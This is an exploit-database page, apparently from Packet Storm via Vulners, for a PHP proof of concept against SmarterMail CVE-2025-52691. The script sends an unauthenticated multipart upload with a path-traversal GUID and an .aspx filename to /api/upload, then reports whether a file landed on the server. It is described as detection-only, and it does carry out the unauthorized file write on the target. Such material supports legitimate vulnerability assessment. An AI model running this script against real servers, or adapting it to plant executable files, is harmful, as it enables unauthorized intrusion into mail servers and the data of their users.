Lucene search
K

📄 SmarterMail 16.3.6989.16341 Path Traversal

🗓️ 19 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 113 Views

Proof of concept detects vulnerability 2025 52691 in SmarterMail 16.3.6989.16341 via path traversal on /api/upload and classifies targets.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-52691
30 Dec 202518:21
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail
8 Jan 202611:42
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail
5 Jan 202613:46
githubexploit
GithubExploit
Exploit for CVE-2025-52691
29 Dec 202516:23
githubexploit
GithubExploit
Exploit for CVE-2025-52691
30 Dec 202514:58
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail
23 Jan 202611:48
githubexploit
GithubExploit
Exploit for CVE-2025-52691
30 Dec 202510:24
githubexploit
GithubExploit
Exploit for CVE-2025-52691
30 Dec 202518:37
githubexploit
GithubExploit
Exploit for CVE-2025-52691
30 Dec 202506:13
githubexploit
GithubExploit
Exploit for CVE-2025-52691
31 Dec 202507:01
githubexploit
Rows per page
=============================================================================================================================================
    | # Title     : SmarterMail 16.3.6989.16341 Detection Artifact Generator Unauthenticated Path Traversal vulnerability                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.smartertools.com/                                                                                               |
    =============================================================================================================================================
    
    [+] Summary: This PHP proof-of-concept is a detection-only artifact generator for CVE-2025-52691 affecting SmarterMail. 
                 It sends a crafted multipart upload request to the /api/upload endpoint, leveraging a path traversal 
    			 condition in the contextData GUID to determine whether the target is vulnerable. 
    			 The script analyzes HTTP responses and returned JSON keys to classify the target as Vulnerable, 
    			 Not Vulnerable (patched), or Unknown, without executing payloads or performing exploitation. 
                 It is intended solely for validation and security assessment purposes.
    
    [+] POC : php poc.php -H https://target.com
    
    <?php
    
    error_reporting(E_ALL);
    ini_set('display_errors', 0);
    
    $banner = <<<BANNER
    
     ██╗███╗   ██╗██████╗  ██████╗ ██╗   ██╗███████╗██╗  ██╗██╗  ██╗ █████╗ 
     ██║████╗  ██║██╔══██╗██╔═══██╗██║   ██║██╔════╝██║  ██║██║ ██╔╝██╔══██╗
     ██║██╔██╗ ██║██   █╔╝██║   ██║██║   ██║███████╗███████║█████╔╝ ███████║
     ██║██║╚██╗██║██╔══██╗██║   ██║██║   ██║╚════██║██╔══██║██╔═██╗ ██╔══██║
     ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║  ██║██║  ██╗██║  ██║
     ╚═╝╚═╝  ╚═══╝╚═════╝  ╚═════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝
            watchTowr-vs-SmarterMail-CVE-2025-52691.php
            (*) CVE-2025-52691 Detection Artifact Generator
    
    BANNER;
    
    function generateRandomName(int $length = 6): string {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        $out = '';
        for ($i = 0; $i < $length; $i++) {
            $out .= $chars[random_int(0, strlen($chars) - 1)];
        }
        return $out;
    }
    
    function dag(string $host): void {
    
        $name     = generateRandomName();
        $url      = $host . 'api/upload';
        $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(8));
        $data  = "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"context\"\r\n\r\nattachment\r\n";
        $data .= "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"resumableIdentifier\"\r\n\r\nfakeID\r\n";
        $data .= "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"resumableFilename\"\r\n\r\nfakefile.aspx\r\n";
        $data .= "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"contextData\"\r\n\r\n";
        $data .= "{\"guid\":\"dag/../../{$name}\"}\r\n";
        $data .= "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"whatever\"; filename=\"fake.jpg\"\r\n\r\n";
        $data .= "Detection Artifact Generator\r\n";
        $data .= "--{$boundary}--\r\n";
    
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_POST            => true,
            CURLOPT_POSTFIELDS      => $data,
            CURLOPT_RETURNTRANSFER  => true,
            CURLOPT_HTTPHEADER      => [
                "Content-Type: multipart/form-data; boundary={$boundary}",
                "Content-Length: " . strlen($data)
            ],
            CURLOPT_SSL_VERIFYPEER  => false,
            CURLOPT_SSL_VERIFYHOST  => false,
            CURLOPT_TIMEOUT         => 15,
        ]);
    
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
    
        if ($response === false || empty($response)) {
            echo "[!] Request failed\n";
            return;
        }
    
        $json = json_decode($response, true);
    
        if (is_string($json)) {
            $json = json_decode($json, true);
        }
    
        if (!is_array($json)) {
            echo "[+/-] UNKNOWN MESSAGE - please verify manually\n";
            return;
        }
    
        if ($httpCode === 200 && isset($json['key'])) {
            if (stripos($json['key'], $name) !== false) {
                echo "[+] VULNERABLE - file " . basename($json['key']) . " got uploaded\n";
                return;
            }
        }
    
        if ($httpCode === 400 && ($json['message'] ?? '') === 'INVALID_GUID') {
            echo "[-] NOT VULNERABLE - patch applied (INVALID_GUID)\n";
            return;
        }
    
        echo "[+/-] UNKNOWN MESSAGE - please verify manually\n";
    }
    
    echo $banner;
    
    $options = getopt("H:", ["host:"]);
    
    if (!isset($options['H']) && !isset($options['host'])) {
        echo "Usage  : php poc.php -H <host>\n";
        echo "Example: php poc.php -H https://smartermail.lab/\n";
        exit(1);
    }
    
    $host = rtrim($options['H'] ?? $options['host'], '/') . '/';
    dag($host);
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation